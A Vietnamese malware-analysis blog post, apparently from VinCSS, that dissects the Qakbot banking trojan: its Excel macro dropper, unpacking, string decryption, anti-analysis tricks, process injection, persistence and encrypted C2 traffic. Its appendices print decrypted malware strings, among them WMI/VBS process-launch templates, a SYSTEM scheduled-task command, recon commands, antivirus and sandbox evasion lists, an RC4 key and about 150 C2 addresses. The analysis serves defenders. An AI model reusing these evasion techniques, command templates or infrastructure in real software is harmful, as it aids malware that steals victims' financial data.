1. Tổng quan
Qakbot (còn được biết đến với các tên khác như Qbot, QuakBot, Pinkslipbot) là một trong những Banking Trojan nổi tiếng với nhiệm vụ chính là đánh cắp thông tin tài khoản ngân hàng, các phiên giao dịch trực tuyến hoặc các thông tin tài chính khác. Mặc dù bị các hãng cung cấp phần mềm diệt virus phát hiện từ năm 2008, nhưng cho tới nay Trojan này vẫn tiếp tục hoạt động và được duy trì liên tục bởi những kẻ đứng đằng sau nó. Qakbot liên tục được cải tiến bằng cách áp dụng các kĩ thuật tiên tiến hoặc mới để tránh bị phát hiện, khiến cho việc phân tích trở nên khó khăn hơn. Trong những báo cáo mới đây, Qakbot còn được sử dụng để tải về các mã độc tống tiền khác như ProLock, Egregor.
![]() |
Nguồn: CrowdStrike 2021 Global Threat Report |
Qakbot có thể được phân phối thông qua Emotet, tuy nhiên với việc Emotet đã bị hạ gục mới đây thì hiện tại con đường chính của mã độc này là thông qua các chiến dịch email spam và phishing. Khác với Emotet sử dụng MS-Word kết hợp với VBA để tải về mã độc, Qakbot lại sử dụng MS-Excel với sự hỗ trợ của Excel 4.0 Macro (XLM macro) để tải và thực thi mã độc trên máy nạn nhân. Trong tương lai gần, các nhóm tin tặc và tội phạm mạng có khả năng sẽ chuyển qua sử dụng mã độc này để tấn công vào các tổ chức hoặc cá nhân ở Việt Nam.
Trong bài viết này, chúng tôi phân tích cách thức lây nhiễm của QakBot sau khi khởi chạy bởi tài liệu Excel độc hại, các kĩ thuật mã độc sử dụng để gây khó khăn cho việc phân tích cũng như cách để trích xuất danh sách C2. Kĩ thuật persistence mà Qakbot sử dụng khá hay, run key chỉ được tạo trước khi máy tắt hoặc chuyển trạng thái suspended và bị xóa ngay lập tức khi Qakbot thực thi lại. Qakbot tận dụng triệt để kĩ thuật mã hóa để che giấu thông tin, cũng như mã hóa payload trên memory.
Các hash được sử dụng trong bài viết:
- Document template: a7ba7bd69d41f3be1e69740c33c4fbf8
- Loader DLL: c0675c5d2bc7ccf59e50977dd71f28ec
- Unpacked DLL (Main payload): 4279ff089ffdb4db21677b96a1364969
2. Document template và XLM
macro
Các template của Qakbot thay đổi tùy theo chiến dịch, kẻ tấn công thông qua các template này lừa nạn nhân kích hoạt macro để tiến hành lây nhiễm mã độc. Dạng maldocs này thường sẽ có một cell là “Auto_Open cell”, tương tự như hàm “Sub AutoOpen()” trong VBA để tự động thực thi macro khi nạn nhân nhấn nút “Enable Content”.
Như đã đề cập, các template này sử dụng Excel 4.0 macros (có trước cả VBA macros), gồm các hàm được đặt bên trong các ô (cell) của một macro sheet. Để phân tích dạng macro này có thể sử dụng các công cụ:2.1. XLMMacroDeobfuscator
Công cụ này cho phép trích xuất nội dung của các cells, cho biết macro sheet nào có cell là “Auto_Open cell”, đồng thời hỗ trợ emulate formula.
Tuy nhiên, do macro trong các maldocs thường sẽ được obfuscate nên không phải lúc nào chức năng emulate của công cụ cũng hoạt động tốt:2.2. Cerbero Suite
Công cụ này được phát triển bởi Erik Pistelli. Phiên bản mới nhất đã hỗ trợ định dạng XLSB, cho phép decompile được các formula của XLS và XLSB đồng thời cung cấp tính năng xem trước bảng tính gần tương tự như khi mở bằng Microsoft Excel. Hơn nữa, nó cũng cung cấp khả năng emulate các formulas. Trong quá trình trao đổi với tác giả, tôi cùng với bạn của mình đã góp ý và cung cấp các samples để chuyên gia này hoàn thiện các chức năng của sản phẩm.
Tương tự như XLMMacroDeobfuscator, khi thực hiện phân tích maldoc với Cerbero, công cụ này cũng chỉ ra được điểm bắt đầu thực thi (entry point) là cell chứa Auto_Open.
2.3. Microsoft Excel
Các công cụ nêu trên dựa vào các thư viện như xlrd2, pyxlsb2 cũng như parser, engine riêng để phân tích file. Do đó, trong trường hợp các công cụ này không đáp ứng được thì việc sử dụng Microsoft Excel vẫn là lựa chọn tốt nhất.
Khi phân tích bằng MS Excel, tìm tới cell chứa Auto_Open, lựa chọn tính năng Macros và chọn Step Into để bật cửa sổ Single Step:
3. Loader payload
Theo phân tích ở trên, payload được tải về là một DLL. DLL này export 4 hàm, trong đó có hàm DllRegisterServer được gọi bởi lệnh rundll32:
Dựa vào danh sách các hàm APIs mà DLL này import, có thể đoán được nó sẽ sử dụng để unpack ra một payload khác:DLL này cũng sử dụng chữ kí số để tránh bị phát hiện bởi các phần mềm diệt virus và các hệ thống phát hiện:
DLL này khi thực thi sẽ thực hiện cấp phát và unpack vào memory payload chính và thực thi payload này:
Thực hiện dump payload từ memory để phục vụ phân tích. Payload dump được cũng là một DLL, code bằng Microsoft Visual C++, có tên gốc là stager_1.dll và export một hàm DllRegisterServer:Một kĩ thuật hay được sử dụng trong nhiều mẫu mã độc là chèn mã rác. Với kỹ thuật này, mã độc sẽ chèn rất nhiều mã không bao giờ được thực thi, các lệnh gọi hàm không trả về giá trị hoặc các lệnh nhảy có điều kiện với các điều kiện không bao giờ được đáp ứng. Mục đích chính của những đoạn mã này là làm cho các khối lệnh trông phức tạp hóa lên rất nhiều và gây mất thời gian của người phân tích.
Với payload của Qakbot, kẻ tấn công thực hiện chèn thêm các lời gọi hàm API vô tác dụng xen lẫn giữa các câu lệnh thật, ngoài mục tiêu gây mất thời gian nó có thể gây nhiễu thông tin khi thực thi mã độc trong các môi trường sandbox hoặc thông qua các chương trình ghi nhật kí các lời gọi hàm API.
Các calling convention tiêu chuẩn thường gặp khi phân tích mã độc là cdecl, stdcall, thiscall hay fastcall. Tuy nhiên, để gây phức tạp, Qakbot lồng ghép quy ước gọi hàm phi chuẩn khiến cho việc nhận biết các tham số truyền cho hàm trở nên khó khăn cũng như Hexrays khi decompile sẽ bị lỗi.
Ví dụ như hàm sau nhận 3 tham số truyền vào, trong đó tham số thứ nhất và thứ ba được đẩy vào stack, tham số thứ hai được gán cho thanh ghi eax. Lúc này Hexrays decompile sẽ nhận diện thiếu tham số:
Tham khảo bài viết sau để định nghĩa lại prototype của hàm. Trong trường hợp trên, ta có thể định nghĩa lại như sau: int __usercall sub_100184FE@<eax>(int arg1, int arg2@<eax>, int arg3). Kết quả có được:Một ví dụ khác, hàm dưới đây nhận một tham số truyền vào và tham số này được gán cho thanh ghi eax. Việc nhận diện sai dẫn đến Hexrays decompile bị thiếu tham số:
Để giúp Hexrays decompile chính xác, định nghĩa prototype của hàm như sau: int *__usercall sub_10017EC5@<eax>(unsigned int arg1@<eax>). Kết quả thu được:
Tương tự Emotet, các strings chính mà payload sử dụng đều đã bị mã hóa và chỉ được giải mã khi cần sử dụng, sử dụng xong được giải phóng luôn. Các strings này sau khi mã hóa được lưu vào một mảng liên tục. Hàm giải mã nhận tham số truyền vào là giá trị index của chuỗi, sau đó đem XOR với một mảng byte được Qakbot khai báo sẵn. Trong quá trình phân tích payload này, chúng tôi thấy có 02 mảng byte chứa giá trị của các strings ban đầu đã bị mã hóa:
Tương ứng với mỗi mảng trên trên sẽ có một mảng byte chứa các giá trị dùng cho việc xor để giải mã các chuỗi:Hàm giải mã nhận một tham số duy nhất là index của chuỗi. Bên trong hàm này sẽ gọi tới hàm chính để giải mã ra chuỗi cần sử dụng:
Hàm f_decrypt_string trong hình sẽ thực hiện nhiệm vụ sau:
- Dựa vào giá trị index truyền vào cho hàm, tính toán độ dài của chuỗi cần giải mã.
- Cấp phát vùng nhớ để lưu chuỗi giải mã.
- Thực hiện vòng lặp xor với các bytes của mảng xor_bytes_arr để giải mã ra chuỗi ban đầu.
Kết quả trước và sau khi thực hiện script sẽ giúp công việc phân tích dễ dàng hơn:
Thực hiện tương tự với các hàm giải mã khác. Tuy nhiên, kết quả trên hình có được sau khi giải mã các chuỗi có index được chỉ định sẵn trong code của Qakbot. Phần còn lại sẽ là các chuỗi với index được tính toán động khi mã độc này thực thi. Ví dụ như đoạn code sau:
Do vậy, để có được toàn bộ các chuỗi giải mã cùng với index liên quan, sử dụng đoạn code sau:
Danh sách toàn bộ các strings được giải mã xem tại Phụ lục 1 – Danh sách toàn bộ strings bên dưới.
4.4. Dynamic APIs resolve
Dựa vào kết quả giải mã strings, thu được danh sách các DLLs mà Qakbot sẽ sử dụng để lấy các hàm APIs cần thiết:
Kết quả có được như sau:
Từ kết quả trên, tạo struct tương ứng và áp dụng struct này tại những đoạn code liên quan, kết quả sẽ khôi phục được lời gọi tới các hàm API:
Payload xây dựng danh sách các tiến trình liên quan đến các giải pháp bảo vệ endpoint gồm các trường group_id, group_index. Thực hiện vòng lặp giải mã các chuỗi tương ứng để có được danh sách các tên các process:
group_id |
group_index |
process name |
0x1 |
0x660 |
ccSvcHst.exe |
0x2 |
0x8C6 |
avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe |
0x4 |
0x2E7 |
MsMpEng.exe |
0x8 |
0x1A6 |
mcshield.exe |
0x10 |
0x6AD |
avp.exe;kavtray.exe |
0x20 |
0x398 |
egui.exe;ekrn.exe |
0x40 |
0x141 |
bdagent.exe;vsserv.exe;vsservppl.exe |
0x80 |
0x912 |
AvastSvc.exe |
0x100 |
0x1B3 |
coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe |
0x200 |
0x90 |
SAVAdminService.exe;SavService.exe |
0x400 |
0x523 |
fshoster32.exe |
0x800 |
0x77C |
WRSA.exe |
0x1000 |
0x8F0 |
vkise.exe;isesrv.exe;cmdagent.exe |
0x2000 |
0x7F9 |
ByteFence.exe |
0x4000 |
0x726 |
MBAMService.exe;mbamgui.exe |
0x8000 |
0xAFA |
fmon.exe |
Sau đó payload sử dụng các hàm CreateToolhelp32Snapshot; Process32First; Process32Next để liệt kê toàn bộ các tiến trình đang chạy trên máy nạn nhân, kiểm tra tên của tiến trình có nằm trong danh sách nói trên. Nếu có:
- Các tiến trình thuộc cùng một danh sách thì trả về kết quả là group_id tương ứng. Ví dụ: nếu có avp.exe;kavtray.exe thì kết quả trả về là 0x10.
- Các tiến trình thuộc các danh sách khác nhau thì kết quả là lấy or của các group_id tương ứng. Ví dụ nếu có avp.exe;kavtray.exe và AvastSvc.exe thì kết quả trả về là 0x10 | 0x80 = 0x90.
Kết quả này sẽ ảnh hưởng tới việc thực hiện process injection. Ví dụ: nếu máy nạn nhân sử dụng giải pháp bảo vệ của Kaspersky (có tiến trình avp.exe) thì Qakbot sẽ thực hiện inject code vào mobsync.exe thay vì explorer.exe.
4.6. Anti-sandbox
Payload kiểm tra tên của nó có nằm trong danh sách blacklist gồm: artifact.exe;mlwr_smpl;sample;sandbox;cuckoo-;virus. Vì nhiều khả năng, các môi trường sanbox sẽ tự động đổi tên file.
4.6.2. Kiểm tra tiến trình
Payload kiểm tra các tiến trình đang chạy có nằm trong danh sách blacklist gồm: srvpost.exe;frida-winjector-helper-32.exe;frida-winjector-helper-64.exe.
Payload sử dụng các hàm SetupDiGetClassDevsA, SetupDiEnumDeviceInfo, SetupDiGetDeviceRegistryPropertyA thuộc thư viện setupapi.dll để lấy thông tin về device trên hệ thống, từ đó kiểm tra với danh sách blacklist gồm A3E64E55_pr;VboxVideo;Red Hat VirtIO;QEMU.
Payload kiểm tra tên máy và tài khoản đăng nhập có nằm trong danh sách blacklist là: VIRTUAL-PC và Virtual.
Nếu thỏa bất kì điều kiện kiểm tra nào ở trên, tiến trình của payload sẽ rơi vào vòng lặp vô hạn:4.7. Thông tin cấu hình và danh sách C2 (IP & Port)
Như đã đề cập ở trên, payload nếu được dump chính xác sẽ có các resource name là “308” và “311”. Dựa vào việc giải mã strings ở trên, ta có thể tìm được code liên quan tới các strings này:
Cấu hình của Qakbot được lưu ở resource 308, đoạn code liên quan tới resource này sẽ thực hiện:
- Gọi hàm giải mã với giá trị index là 0x3F5 để giải mã ra chuỗi “308”.
- Sử dụng các hàm API của kernel32 là FindResourceA; SizeofResource; LoadResource để tải dữ liệu lưu trữ tại resource này vào vùng nhớ đã được cấp phát.
- Gọi hàm thực hiện giải mã dữ liệu.
- 20 bytes đầu tiên của dữ liệu sẽ là khóa RC4, phần dữ liệu còn lại là dữ liệu cần được giải mã.
- Sử dụng thuật toán RC4 với key có được để giải mã dữ liệu. Dữ liệu sau giải mã gồm:
- 20 bytes đầu tiên của dữ liệu là SHA1 hash được tính trên phần còn lại của dữ liệu được giải mã.
- Dữ liệu đã giải mã là phần loại đi 20 bytes của SHA1 hash.
- Xác minh lại SHA1 hash để đảm bảo việc giải mã là chính xác.
Toàn bộ quá trình trên được minh họa như hình dưới đây:
- 10=biden02 --> CampaignID
- 3=1614154620 --> Unix Timestamp (Wed 24 February 2021 08:17:00 UTC)
Với resource “311”, quá trình giải mã cũng tương tự như trên:
Kết quả sau giải mã thu được danh sách địa chỉ IP và port được phân tách nhau bởi giá trị 01:Toàn bộ danh sách C2 mà payload này sử dụng xem tại Phụ lục 2 – Danh sách C2s bên dưới.
Qakbot lựa chọn tiến trình để thực hiện inject dựa vào môi trường hệ điều hành và thông tin về group_id liên quan tới các giải pháp bảo vệ đã đề cập ở trên.
Tiếp theo:- Sử dụng hàm API CreateProcessW để tạo tiến trình cần inject ở trạng thái suspended. Để đơn giản, tôi sẽ tập trung vào quá trình thực hiện inject vào explorer.exe.
- Tạo một vùng nhớ mới trên tiến trình explorer.exe với quyền truy cập RWX bằng các hàm API NtCreateSection, NtMapViewOfSection.
- Copy toàn bộ Qakbot payload vào vùng nhớ đã tạo ở trên.
4.9. Ghi đè payload và mã hóa payload trên mem
Để gây khó khăn cho những người làm công tác incident response, Qakbot thực hiện ghi đè null bytes lên chính payload trên disk (giữ lại DOS_HEADER, NT_HEADERS, SECTION_HEADER) đồng thời cũng mã hóa toàn bộ payload để lưu trên memory phục vụ cho việc thực hiện thực hiện kĩ thuật persistence. Điều này đảm bảo rằng toàn bộ code chính của Qakbot sẽ được thực hiện từ tiến trình đã bị inject là explorer.exe hoặc mobsync.exe.
4.10. Persistence operation
4.10.1. Run key persistence
Việc tạo persistence được thực hiện sau bước process injection. Lúc này, Qakbot sẽ tạo một thread thực hiện nhiệm vụ:
- Gọi hàm RegisterClassExA để đăng kí một window với class name ngẫu nhiên.
- Cài đặt một hàm callback f_process_wnd_message để thực hiện xử lý windows message.
- Các windows message được xử lý tại hàm f_process_wnd_message như sau:
- Khi nhận tín hiệu shutdown (WM_QUERYENDSESSION) hoặc tín hiệu power-management (WM_POWERBROADCAST) đi kèm với event báo hiệu máy sẽ chuyển sang trạng thái suspend (PBT_APMSUSPEND) thì sẽ gọi hàm f_install_persistence().
- Khi nhận tín hiệu power-management (WM_POWERBROADCAST) đi kèm với event báo hiệu máy chuyển trạng thái resume (PBT_APMRESUMESUSPEND || PBT_APMRESUMEAUTOMATIC) thì sẽ gọi hàm f_uninstall_prev_persistence().
- Hàm f_install_persistence() thực hiện:
- Giải mã toàn bộ payload đã bị encrypt trước đó bằng RC4 vào memory.
- Cấu thành lệnh regsvr32.exe -s <Qakbot_module_path>.
- Tạo một giá trị với tên nhẫu nhiên tại registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run để lưu câu lệnh trên.
- Hàm f_uninstall_prev_persistence() thực hiện công việc ngược lại:
- Xóa persistence key đã tạo.
- Xóa payload trên disk.
4.10.2. Fake scheduled task persistence
Ngoài việc tạo run key persistence như trên, Qakbot còn tạo thêm một fake persistence là scheduled task để đánh lừa. Task được tạo có tên ngẫu nhiên thông qua câu lệnh sau: "%s\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn %s /tr "%s" /SC ONCE /Z /ST %02u:%02u /ET %02u:%02u
Ví dụ lệnh khi Qakbot thực thi: "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /tn gyfzcixqb /tr "regsvr32.exe -s \"C:\Users\REM\Desktop\Qakbot_DLL_unpacked.bin\"" /SC ONCE /Z /ST 12:39 /ET 12:51
Tuy nhiên, lúc này payload trên disk đã bị xóa dữ liệu, chỉ giữ lại thông tin DOS_HEADER, NT_HEADERS, SECTION_HEADER.
Để gây khó khăn cho người phân tích cũng như các hệ thống bảo vệ, Qakbot sẽ mã hóa POST request của nó trước khi gửi tới C2 server. Một POST request của Qakbot thường sẽ như sau:
Trước khi bị mã hóa thông tin POST request sẽ như hình dưới:POST request này sẽ được mã hóa rồi gửi tới C2 server:Trong đó:
- Hàm f_encrypt_POST_request_by_RC4 thực hiện:
- Tạo một rc4_key có độ dài 16 bytes.
- rc4_key này sẽ ghép với một chuỗi được giải mã là “jHxastDcds)oMc=jvh7wdUhxcsdt2”. Sau đó sử dụng SHA1 để hash.
- Sử dụng giá trị hash tính được làm rc4_key để mã hóa POST request.
- Kết quả trả về là một vùng nhớ gồm 16 bytes đầu là rc4_key và POST request đã bị mã hóa
- Hàm f_base64_transform sẽ thực hiện encode toàn bộ vùng nhớ chứa rc4_key và POST request đã mã hóa thành chuỗi ở định dạng base64.
- Cuối cùng gọi hàm f_send_POST_request_to_C2 để gửi POST request này tới C2.
Trải qua hơn một thập kỉ, Qakbot vẫn tồn tại và luôn là một mối đe dọa thường trực đối với các tổ chức lớn hiện nay. Việc sử dụng các tài liệu XLSB khiến cho tỉ lệ bị phát hiện thấp hơn so với VBA macro và gây khó khăn cho các giải pháp bảo mật. Bên cạnh đó, các payload của Qakbot cũng được áp dụng các kĩ thuật nâng cao, tiên tiến nhằm tránh bị phát hiện, gây khó khăn rất nhiều cho những người phân tích. Những kẻ đứng sau Qakbot cũng tích cực trong việc bổ sung các kĩ thuật tinh vi hơn để phát triển và mở rộng thêm tính năng. Cho tới nay, danh tính của những kẻ này vẫn luôn là một dấu hỏi. Hi vọng, trong tương lai, Qakbot cũng sẽ bị hạ gục như Emotet.
- https://www.malware-traffic-analysis.net/2021/02/24/index.html
- https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot
- https://any.run/malware-trends/qbot
- https://isc.sans.edu/forums/diary/Emotet+Qakbot+more+Emotet/26750
- Demystifying QBot Banking Trojan - Nick Summerlin and Jorge Rodriguez
- Deep Analysis of QBot Banking Trojan
index
boundary: 0xB10 |
index:
0x0, decrypted string:
tcpdump.exe;windump.exe;ethereal.exe;wireshark.exe;ettercap.exe;rtsniff.exe;packetcapture.exe;capturenet.exe index: 0x6d, decrypted string:
%SystemRoot%\SysWOW64\explorer.exe index: 0x90, decrypted string:
SAVAdminService.exe;SavService.exe index: 0xb3, decrypted string:
user32.dll index: 0xbe, decrypted string:
mpr.dll index: 0xc6, decrypted string:
Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0 index: 0x108, decrypted string:
advapi32.dll index: 0x115, decrypted string:
%SystemRoot%\System32\mobsync.exe index: 0x137, decrypted string:
ntdll.dll index: 0x141, decrypted string:
bdagent.exe;vsserv.exe;vsservppl.exe index: 0x166, decrypted string:
Initializing database... index: 0x17f, decrypted string:
%SystemRoot%\SysWOW64\mobsync.exe index: 0x1a1, decrypted string:
.cfg index: 0x1a6, decrypted string:
mcshield.exe index: 0x1b3, decrypted string:
coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe index: 0x1e2, decrypted string:
shell32.dll index: 0x1ee, decrypted string:
image/jpeg index: 0x1f9, decrypted string:
image/gif index: 0x203, decrypted string:
C:\INTERNAL\__empty index: 0x217, decrypted string:
%SystemRoot%\SysWOW64\xwizard.exe index: 0x239, decrypted string:
t=%s time=[%02d:%02d:%02d-%02d/%02d/%d] index: 0x261, decrypted string:
abcdefghijklmnopqrstuvwxyz index: 0x27c, decrypted string:
SOFTWARE\Wow6432Node\Microsoft AntiMalware\SpyNet index: 0x2ae, decrypted string:
\sf2.dll index: 0x2b7, decrypted string:
Content-Type: application/x-www-form-urlencoded index: 0x2e7, decrypted string:
MsMpEng.exe index: 0x2f3, decrypted string:
%SystemRoot%\SysWOW64\explorer.exe index: 0x316, decrypted string:
image/pjpeg index: 0x322, decrypted string:
SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths index: 0x357, decrypted string:
%SystemRoot%\System32\xwizard.exe index: 0x379, decrypted string:
Software\Microsoft index: 0x38c, decrypted string:
cscript.exe index: 0x398, decrypted string:
egui.exe;ekrn.exe index: 0x3aa, decrypted string:
SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Spynet index: 0x3e1, decrypted string:
WScript.Sleep %u Set objWMIService =
GetObject("winmgmts:" &
"{impersonationLevel=impersonate}!\\.\%coot\cimv2") Set objProcess =
GetObject("winmgmts:root\cimv2:Win32_Process") errReturn =
objProcess.Create("%s", null, nul, nul) WSCript.Sleep 2000 Set fso =
CreateObject("Scripting.FileSystemObject") fso.DeleteFile("%s") index: 0x523, decrypted string:
fshoster32.exe index: 0x532, decrypted string:
ALLUSERSPROFILE index: 0x542, decrypted string:
kernel32.dll index: 0x54f, decrypted string:
application/x-shockwave-flash index: 0x56d, decrypted string:
Set objWMIService = GetObject("winmgmts:" &
"{impersonationLevel=impersonate}!\\.\%coot\cimv2") Set objProcess =
GetObject("winmgmts:root\cimv2:Win32_Process") errReturn = objProcess.Create("%s",
null, nul, nul) index: 0x641, decrypted string:
%SystemRoot%\explorer.exe index: 0x65b, decrypted string:
c:\\ index: 0x660, decrypted string:
ccSvcHst.exe index: 0x66d, decrypted string:
%ProgramFiles(x86)%\Internet Explorer\iexplore.exe index: 0x6a0, decrypted string:
netapi32.dll index: 0x6ad, decrypted string:
avp.exe;kavtray.exe index: 0x6c1, decrypted string:
crypt32.dll index: 0x6cd, decrypted string:
shlwapi.dll index: 0x6d9, decrypted string:
snxhk_border_mywnd index: 0x6ec, decrypted string:
SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet index: 0x71c, decrypted string:
wpcap.dll index: 0x726, decrypted string:
MBAMService.exe;mbamgui.exe index: 0x742, decrypted string:
\\.\pipe\ index: 0x74c, decrypted string:
.dll index: 0x751, decrypted string:
SOFTWARE\Microsoft\Windows Defender\SpyNet index: 0x77c, decrypted string:
WRSA.exe index: 0x785, decrypted string:
reg.exe ADD "HKLM\%s" /f /t %s /v "%s" /d "%s" index: 0x7b4, decrypted string:
1234567890 index:
0x7bf, decrypted string: wmic process call create 'expand "%S"
"%S"' index:
0x7ec, decrypted string: wtsapi32.dll index:
0x7f9, decrypted string: ByteFence.exe index:
0x807, decrypted string: SubmitSamplesConsent index: 0x81c, decrypted string:
{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X} index:
0x863, decrypted string: NTUSER.DAT index:
0x86e, decrypted string: .dat index:
0x873, decrypted string: cmd.exe index:
0x87b, decrypted string: .exe index:
0x880, decrypted string: %s\system32\ index:
0x88d, decrypted string: ws2_32.dll index:
0x898, decrypted string: %ProgramFiles%\Internet Explorer\iexplore.exe index:
0x8c6, decrypted string: avgcsrvx.exe;avgsvcx.exe;avgcsrva.exe index:
0x8ec, decrypted string: */* index:
0x8f0, decrypted string: vkise.exe;isesrv.exe;cmdagent.exe index:
0x912, decrypted string: AvastSvc.exe index:
0x91f, decrypted string: c:\hiberfil.sysss index:
0x931, decrypted string: wininet.dll index:
0x93d, decrypted string: %SystemRoot%\explorer.exe index:
0x957, decrypted string: Set objWMIService = GetObject("winmgmts:"
& "{impersonationLevel=impersonate}!\\.\%coot\cimv2") Set
colFiles = objWMIService.ExecQuery("Select * From CIM_DataFile Where
Name = '%s'") For
Each objFile in colFiles objFile.Copy("%s") Next index:
0xa43, decrypted string: aabcdeefghiijklmnoopqrstuuvwxyyz index:
0xa64, decrypted string: urlmon.dll index:
0xa6f, decrypted string: SpyNetReporting index:
0xa7f, decrypted string: setupapi.dll index:
0xa8c, decrypted string: aaebcdeeifghiiojklmnooupqrstuuyvwxyyaz index:
0xab3, decrypted string: SOFTWARE\Microsoft\Microsoft
Antimalware\Exclusions\Paths index:
0xaed, decrypted string: aswhookx.dll index:
0xafa, decrypted string: fmon.exe index:
0xb03, decrypted string: aswhooka.dll |
index
boundary: 0x435 |
index:
0x0, decrypted string: \System32\WindowsPowerShell\v1.0\powershell.exe index:
0x30, decrypted string:
srvpost.exe;frida-winjector-helper-32.exe;frida-winjector-helper-64.exe index:
0x78, decrypted string: powershell.exe index:
0x87, decrypted string: /t4 index:
0x8b, decrypted string: %s \"$%s = \\\"%s\\\\; & $%s\" index:
0xaa, decrypted string: SOFTWARE\Microsoft\Windows\CurrentVersion\Run index:
0xd8, decrypted string: A3E64E55_pr;VBoxVideo index:
0xee, decrypted string: .lnk index:
0xf3, decrypted string: at.exe %u:%u "%s" /I index:
0x108, decrypted string: Red Hat VirtIO;QEMU index:
0x11c, decrypted string: net view /all index:
0x12a, decrypted string: nslookup -querytype=ALL -timeout=10
_ldap._tcp.dc._msdcs.%s index:
0x166, decrypted string: ipconfig /all index:
0x174, decrypted string: SOFTWARE\Microsoft\Windows
NT\CurrentVersion\ProfileList index:
0x1ad, decrypted string: regsvr32.exe -s index:
0x1be, decrypted string: %s "$%s = \"%s\"; & $%s" index:
0x1d7, decrypted string: Microsoft index:
0x1e1, decrypted string: Self test FAILED!!! index:
0x1f5, decrypted string: 311 index:
0x1f9, decrypted string: %s %04x.%u %04x.%u res: %s seh_test: %u consts_test:
%d vmdetected: %d createprocess: %d index:
0x252, decrypted string: whoami /all index:
0x25e, decrypted string: cmd /c set index:
0x269, decrypted string: qwinsta index:
0x271, decrypted string: arp -a index:
0x278, decrypted string: nltest /domain_trusts /all_trusts index:
0x29a, decrypted string: route print index:
0x2a6, decrypted string: "%s\system32\schtasks.exe" /Create /RU
"NT AUTHORITY\SYSTEM" /tn %s /tr "%s" /SC ONCE /Z /ST
%02u:%02u /ET %02u:%02u index:
0x31b, decrypted string: VIRTUAL-PC index:
0x326, decrypted string: /c ping.exe
-n 6 127.0.0.1 & type
"%s\System32\calc.exe" > "%s" index:
0x368, decrypted string: error res='%s' err=%d len=%u index:
0x385, decrypted string: net share index:
0x38f, decrypted string: Virtual index:
0x397, decrypted string: net localgroup index:
0x3a6, decrypted string: artifact.exe;mlwr_smpl;sample;sandbox;cuckoo-;virus index: 0x3da,
decrypted string: Self test OK. index:
0x3e8, decrypted string: netstat -nao index:
0x3f5, decrypted string: 308 index:
0x3f9, decrypted string: ProfileImagePath index:
0x40a, decrypted string: amstream.dll index:
0x417, decrypted string: jHxastDcds)oMc=jvh7wdUhxcsdt2 |
QakBot
C2 List |
98.173.34.213:995 160.3.187.114:443 73.25.124.140:2222 24.50.118.93:443 82.127.125.209:990 83.110.109.106:2222 79.129.121.81:995 189.223.234.23:995 125.63.101.62:443 113.22.175.141:443 172.78.30.215:443 47.146.169.85:443 47.22.148.6:443 76.25.142.196:443 78.63.226.32:443 105.198.236.101:443 75.67.192.125:443 176.181.247.197:443 105.96.8.96:443 108.31.15.10:995 176.205.222.30:2078 115.133.243.6:443 83.110.11.244:2222 195.43.173.70:443 197.51.82.72:443 89.137.211.239:995 105.198.236.99:443 144.139.47.206:443 202.188.138.162:443 24.43.22.218:993 69.58.147.82:2078 157.131.108.180:443 92.59.35.196:2222 195.12.154.8:443 86.160.137.132:443 59.90.246.200:443 96.57.188.174:2222 172.87.157.235:3389 189.211.177.183:995 173.184.119.153:995 50.244.112.106:443 144.139.166.18:443 90.65.236.181:2222 81.150.181.168:2222 68.186.192.69:443 74.222.204.82:995 197.161.154.132:443 38.92.225.121:443 197.45.110.165:995 71.117.132.169:443 85.52.72.32:2222 217.133.54.140:32100 193.248.221.184:2222 95.77.223.148:443 83.110.103.152:443 80.227.5.69:443 209.210.187.52:995 50.29.166.232:995 108.160.123.244:443 24.152.219.253:995 81.97.154.100:443 203.198.96.37:443 80.11.173.82:8443 97.69.160.4:2222 196.151.252.84:443 172.115.177.204:2222 98.121.187.78:443 47.187.108.172:443 216.201.162.158:443 140.82.49.12:443 71.199.192.62:443 71.88.193.17:443 182.48.193.200:443 71.187.170.235:443 77.211.30.202:995 77.27.204.204:995 96.37.113.36:993 187.250.39.162:443 122.148.156.131:995 173.21.10.71:2222 119.153.43.235:3389 71.74.12.34:443 75.118.1.141:443 75.136.26.147:443 67.6.12.4:443 71.197.126.250:443 78.185.59.190:443 125.239.152.76:995 45.46.53.140:2222 98.240.24.57:443 199.19.117.131:443 113.211.120.112:443 74.68.144.202:443 73.153.211.227:443 98.252.118.134:443 189.222.59.177:443 187.250.177.33:995 186.28.55.211:443 189.210.115.207:443 90.101.117.122:2222 72.240.200.181:2222 151.205.102.42:443 24.55.112.61:443 82.12.157.95:995 189.146.183.105:443 72.252.201.69:443 109.12.111.14:443 24.229.150.54:995 209.210.187.52:443 67.8.103.21:443 47.196.192.184:443 24.139.72.117:443 79.115.174.55:443 94.53.92.42:443 86.236.77.68:2222 89.3.198.238:443 213.60.147.140:443 84.247.55.190:8443 2.7.116.188:2222 106.51.85.162:443 87.202.87.210:2222 142.117.191.18:2222 196.221.207.137:995 188.26.91.212:443 108.46.145.30:443 125.209.114.182:995 27.223.92.142:995 173.25.45.66:443 32.210.98.6:443 65.27.228.247:443 108.29.32.251:443 189.223.97.175:443 78.97.207.104:443 181.48.190.78:443 2.232.253.79:995 136.232.34.70:443 207.246.77.75:2222 45.77.115.208:443 207.246.77.75:8443 45.63.107.192:443 45.77.117.108:2222 45.77.117.108:8443 45.77.115.208:995 45.77.117.108:443 144.202.38.185:2222 149.28.98.196:995 144.202.38.185:995 149.28.101.90:8443 149.28.99.97:995 45.32.211.207:995 |
Tran Trung Kien (aka m4n0w4r)
Malware Analysis Expert
R&D Center - VinCSS (a member of Vingroup)
No comments:
Post a Comment